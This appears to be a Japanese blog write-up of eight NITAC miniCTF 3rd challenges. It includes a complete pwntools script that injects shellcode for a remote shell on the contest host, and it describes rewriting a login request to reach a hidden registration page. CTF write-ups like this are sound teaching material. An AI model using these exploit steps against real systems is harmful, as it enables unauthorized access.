TSALVIA技術メモ

CTFのWriteupや気になったツールについて書いていきます。また、このサイトはGoogle Analyticsを利用しています。

NITAC miniCTF 3rd Writeup

NITAC miniCTF 3rd について

NITAC miniCTF 3rd が開催されました。
2020年01月26日午後1時30分~2020年01月26日午後5時30分(4時間)

nitaclt.connpass.com

明石高専IT系勉強会が主催のminiCTF大会が開催されました。難易度はそこまで高くありませんでしたが、時間が短く、思うように解けませんでした。 今回もチームで参加し、メンバが1問解いてくれました。 結果は、13/32位で、851点でした。 8問解くことができたので、そのWriteupを紹介します。

f:id:tsalvia:20200127013755p:plain

NITAC miniCTF 3rd Writeup(8問)

Welcome(Sample)

問題

NITAC miniCTFへようこそ!以下の欄に NITAC{sup3r_dup3r_sc0re_serv3r} と入力して、FLAGが提出できることを確認してください。 Discordサーバへの参加もお忘れなく!: https://discord.gg/npD6Q9k

解答例

チュートリアル問題、問題文にFLAGが書かれていました。

FLAG

NITAC{sup3r_dup3r_sc0re_serv3r}

shellcode(Binary)

問題

バイト列を入力すると実行してくれます。
このプログラムが動作しているディレクトリにFLAGの書かれたファイルが置いてあるので、それを読んでください。
nc shellcode.ctf.jyoken.net 80

添付ファイル

  • shellcode

解答例

まずは、fileコマンドとchecksecコマンドを実行してみました。 64bitにELFファイルで、セキュリティ機構もほとんどが有効になっているようです。

$ file shellcode 
shellcode: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, BuildID[sha1]=3658bbbb3a87143505daa8ebe8bc00220aa93cc1, not stripped
$ checksec shellcode 
[*] '/root/workdir/pwn_shellcode/shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled

次に実行してみました。実行すると、「I will execute your code instead of you. Give me machine code bytes: 」と表示されました。 適当に入力してみると、「Executing...」と表示され、異常終了しました。

$ ./shellcode 
I will execute your code instead of you. Give me machine code bytes: a
Executing...
Illegal instruction (core dumped)

どうやら、入力したシェルコードをそのまま実行してくれるようです。 一応、Ghidraでデコンパイルしてみました。

f:id:tsalvia:20200127001217p:plain

14行目で入力したシェルコードを実行している処理が確認できます。 後は、シェルコードを作成して入力するだけでできそうです。 今回は、pwntoolsのshellcraftでシェルコードを作成しました。以下、そのスクリプトになります。

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./shellcode"
LIBC = ""
HOST = "shellcode.ctf.jyoken.net"
PORT = 80

GDB_SCRIPT = """
    break main
    continue
"""

def exploit(io, elf, libc, rop):
    payload = asm(shellcraft.sh())
    log.info("payload: {}".format(payload))
    io.sendlineafter("I will execute your code instead of you. Give me machine code bytes: ", payload)

def main():
    context(arch=ARCH, os="linux", terminal=["/bin/sh"])

    if args["REMOTE"]:
        io = remote(HOST, PORT)
    else:
        io = process([FILE])
        if args["GDB"]:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    elf = ELF(FILE)
    libc = None
    if LIBC != "":
        libc = ELF(LIBC)
    rop = ROP(elf)
    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == "__main__":
    main()

実行すると、シェルを取ることができました。catコマンドでflag.txtを読み出すとフラグが表示されました。

$ python exploit.py REMOTE
[+] Opening connection to shellcode.ctf.jyoken.net on port 80: Done
[*] '/root/workdir/pwn_shellcode/shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './shellcode'
[*] payload: b'jhH\xb8/bin///sPj;XH\x89\xe71\xf6\x99\x0f\x05'
[*] Switching to interactive mode
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ ls
flag.txt
redir.sh
shellcode
$ cat flag.txt
NITAC{I_g4ve_up_cr0ss_comp1ling}

FLAG

NITAC{I_g4ve_up_cr0ss_comp1ling}

wrong copy(Binary)

問題

「重要なものはコピーしてバックアップしないとね!
objcopy --remove-section=.data --remove-section=.bss ./program」

添付ファイル

  • program

解答例

まずは、fileコマンドとchecksecコマンドを実行してみました。 64bitにELFファイルで、セキュリティ機構もほとんどが有効になっているようです。

$ file program 
program: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=007c9b3494e08ccacaf16692de872fe3b817ae26, for GNU/Linux 3.2.0, not stripped
$ checksec program 
[*] '/root/workdir/program/program'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

次に実行してみましたが、すぐにセグメンテーション違反で異常終了してしまいました。

$ ./program 
Segmentation fault (core dumped)

よく分からないので、とりあえずGhidraでデコンパイルしてみます。

f:id:tsalvia:20200127003306p:plain

putsでlocal_58を表示するだけのプログラムになっていました。 怪しい変数を文字列に変換していくと、フラグになっていました。

f:id:tsalvia:20200127003418p:plain

FLAG

NITAC{c0py_15_d1ff1cul7}

base64(Crypto)

問題

これ、、読めますよね。。。

添付ファイル

  • encoded.txt

解答例

Base64デコードするだけ

$ echo "TklUQUN7RE9fWU9VX0tOT1dfQkFTRTY0P30K" | base64 -d
NITAC{DO_YOU_KNOW_BASE64?}

FLAG

NITAC{DO_YOU_KNOW_BASE64?}

flower(Forensics)

問題

学校にある絵にこんな秘密が隠されていたなんてーーー

添付ファイル

  • encrypt.py
  • flower.png
  • enc_flower.png

解答例

encrypt.pyを確認すると、以下のようになっていました。フラグ文字列をバイナリ変換し、画像のRGBの下位1ビットに書き込んでいるようです。

import cv2
import numpy as np

img = cv2.imread('flower.png')

flag = ''.join([bin(ord(x))[2:].zfill(8) for x in list(input("input flag: "))])
flag += '0' * (img.shape[0] * img.shape[1] * img.shape[2] - len(flag))

print(flag)
print(len(flag))

enc_img = []

cnt = 0

for i in img:
    img_line = []
    for j in i:
        r, g, b = [[y for y in list(bin(x)[2:])] for x in j]
        r[-1] = flag[cnt]
        g[-1] = flag[cnt + 1]
        b[-1] = flag[cnt + 2]
        cnt += 3
        img_line.append([int(x, 2) for x in [''.join(r), ''.join(g), ''.join(b)]])
    enc_img.append(img_line)
cv2.imwrite('enc_flower.png', np.array(enc_img))

上記のスクリプトを参考にRGBの下位1ビットを出力させるようなスクリプトを作成しました。

import cv2
import numpy as np

img = cv2.imread('enc_flower.png')

cnt = 0

for i in img:
    for j in i:
        r, g, b = [[y for y in list(bin(x)[2:])] for x in j]
        print(r[-1], end="")
        print(g[-1], end="")
        print(b[-1], end="")
        cnt += 3

実行してみると、以下のようになります。

$ python decrypt.py > result.txt
$ head -c 200 result.txt 
01001110010010010101010001000001010000110111101101001100010100110100001001011111011001100111010101101100011011000101111101110011011001010110000101110010011000110110100001111101000000000000000000000000

CyberChefでバイナリを文字列に変換すると、フラグが出てきました。

f:id:tsalvia:20200127010613p:plain

FLAG

NITAC{LSB_full_search}

spam(Misc)

問題

好きにして、好きにして、煮るなり焼くなり好きにして

添付ファイル

解答例

spam.txtを開くと、以下のようになっていました。.! が行頭にあり、普通の英文にしては違和感があります。

Dear Friend , This letter was specially selected to
be sent to you . This is a one time mailing there is
no need to request removal if you won't want any more
. This mail is being sent in compliance with Senate
bill 1624 ; Title 3 , Section 303 ! THIS IS NOT A GET
RICH SCHEME ! Why work for somebody else when you can
become rich within 69 MONTHS ! Have you ever noticed
people will do almost anything to avoid mailing their
bills & nobody is getting any younger ! Well, now is
your chance to capitalize on this ! WE will help YOU
SELL MORE & use credit cards on your website . You
are guaranteed to succeed because we take all the risk
! But don't believe us . Mrs Anderson of Georgia tried
us and says "My only problem now is where to park all
my cars" ! We are a BBB member in good standing . If
not for you then for your loved ones - act now . Sign
up a friend and your friend will be rich too . Best
regards . Dear Salaryman ; Your email address has been
submitted to us indicating your interest in our publication
. This is a one time mailing there is no need to request
removal if you won't want any more . This mail is being
sent in compliance with Senate bill 1916 ; Title 1
, Section 302 ! This is not a get rich scheme . Why
work for somebody else when you can become rich as
few as 63 WEEKS . Have you ever noticed nearly every
commercial on television has a .com on in it & nearly
every commercial on television has a .com on in it
. Well, now is your chance to capitalize on this .
WE will help YOU SELL MORE and process your orders
within seconds . You can begin at absolutely no cost
to you . But don't believe us . Ms Anderson who resides
in Oklahoma tried us and says "My only problem now
is where to park all my cars" . We are licensed to
operate in all states ! Because the Internet operates
on "Internet time" you must act now . Sign up a friend
and you get half off ! Thanks .

とりあえず、1行目の Dear Friend , This letter was specially selected to でいろいろ調べていると、spam mimic というページを発見しました。

www.spammimic.com

このページでデコードしてみると、フラグが出てきました。

FLAG

NITAC{it's_like_a_spam}

Teacher's Server(NetWork)

問題

先生たちの共有サーバのパケットログが流出した。base32で符号化されたFLAGを探し出せ。

添付ファイル

  • Network1.pcapng

解答例

pcapファイルなのでWiresharkで開いてみました。

f:id:tsalvia:20200127005620p:plain

Base32エンコードされていそうな文字列があるので、デコードしてみるとフラグとなっていました。

f:id:tsalvia:20200127005813p:plain

FLAG

NITAC{ISAO_IS_MATHEMATICIAN}

Admin Portal 1(Web)

問題

工事中のサイトなので新規登録できません……
http://portal.ctf.jyoken.net/

添付ファイル

  • adminportal.tar.gz

解答例

adminportal.tar.gzと展開し、login.phpを見てみると、以下のようになっていました。register.phpコメントアウトされているのが確認できます。 これを利用すれば、アカウントを自由に作成できそうです。

<?php
require_once 'util.php';

session_start();

if (isset($_POST['username']) && isset($_POST['password'])) {
    login((string)$_POST['username'], (string)$_POST['password']);
    $error = 'Wrong username or password';
}

if (isset($_GET['msg'])) $msg = htmlspecialchars($_GET['msg']);
if (isset($_GET['error'])) $error = htmlspecialchars($_GET['error']);

if (is_logged_in()) {
    header("Location: /");
    exit(0);
}
?>
<!DOCTYPE html>
<html>
    <head>
        <title>Login</title>
        <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
        <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script>
        <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
    </head>
    <body>
        <main role="main" class="container">
            <?php if (!empty($error)) { ?>
                <div class="alert alert-warning alert-dismissible fade show" rule="alert">
                    <strong>Error!</strong> <?php echo $error; ?>
                    <button type="button" class="close" data-dismiss="alert" aria-label="close"><span aria-hidden="true">&times;</span></button>
                </div>
            <?php } ?>
            <?php if (!empty($msg)) { ?>
                <div class="alert alert-primary alert-dismissible fade show" rule="alert">
                    <strong>Error!</strong> <?php echo $msg; ?>
                    <button type="button" class="close" data-dismiss="alert" aria-label="close"><span aria-hidden="true">&times;</span></button>
                </div>
            <?php } ?>
            
            <h1 class="m-3">Login</h1>
            <form method="POST">
                <div class="form-group">
                    <label for="u">Username: </label>
                    <input type="text" name="username" id="u">
                </div>
                <div class="form-group">
                    <label for="p">Password: </label>
                    <input type="password" name="password" id="p">
                </div>
                <input type="submit" class="btn btn-primary" value="Login" formaction="/login.php">
                <!--
                <input type="submit" class="btn btn-success" value="Register" formaction="/register.php">
                -->
            </form>
        </main>
    </body>
</html>

まず、Fiddler4のBefore Requestsでブレークするように設定します。 次に、http://portal.ctf.jyoken.net/login.phpにアクセスし、UsernameとPasswordを入力して、Loginボタンを押します。 Fiddler4で止めた後、login.phpをregister.phpに書き換えて実行させると、アカウントを作成することができました。

f:id:tsalvia:20200127012555p:plain

ログインすると、フッターにフラグが書かれていました。

f:id:tsalvia:20200127012633p:plain

FLAG

NITAC{00f_r3g1str4t10n_st1ll_w0rks}